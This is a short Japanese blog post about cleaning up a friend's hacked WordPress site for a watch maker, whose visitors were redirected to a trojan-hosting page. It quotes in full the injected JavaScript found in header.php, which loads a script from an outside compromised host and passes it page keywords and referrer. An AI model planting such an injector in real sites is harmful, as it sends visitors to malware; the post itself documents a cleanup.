同業者友人から、「サーバーを移動させたい」と、連絡が。

URLを開いてみると、

またか・・・

「またか」というのは、実は、今回3回目。
前回は、踏み台にされて、メール送信されたとかで、
アカウント停止を食らった、今回と同じハッキングされた系。

***

リダイレクトがかかって、
トロイの木馬が埋め込まれているサイトに飛ばされるます

時計メーカーのサイトなので、わりと質が悪い・・・

.

ウィルスソフトを入れてなかったら、感染するんでしょうね？？

長期に渡り、踏み台にされ、
最後は、銀行からお金を抜き取られる始末

ハッキングされた原因

• WordPressの是弱性を狙われたのか、
• FTPのパスワードがカンタン

が、原因だと思われます。

でも、普通にFTPで書き換えられたのなら、
ファイルの日付が更新されるはずなんですが、

日付が変わってない！！

つまり、サーバーに侵入されたたとしか、考えられない状況！

***

今回、改ざんされたサーバーは、lolipopですが、
2016年はじめ、ログイン先やIDなどが、一斉に変更になりました。

古いサーバーからの移行だと思っていたのですが、
どうもそれだけではなかった
と、思う今日このごろです。

原因は、テンプレート内のheader.php内にjavascriptが追加されていました。

• php > header / locate
• javascript > eval

などで、あたりをつけたのですが、該当せず、
jqueryの文字を含む外部リンクでしたが、

<!--script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://181804.webhosting58.1blu.de/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://181804.webhosting58.1blu.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}

コメントアウトしてみたところ、ビンゴ！！

***

以前直してあげたサイトは、
その後、何も言ってこないので、

とりあえず、パスワード変えて、様子見。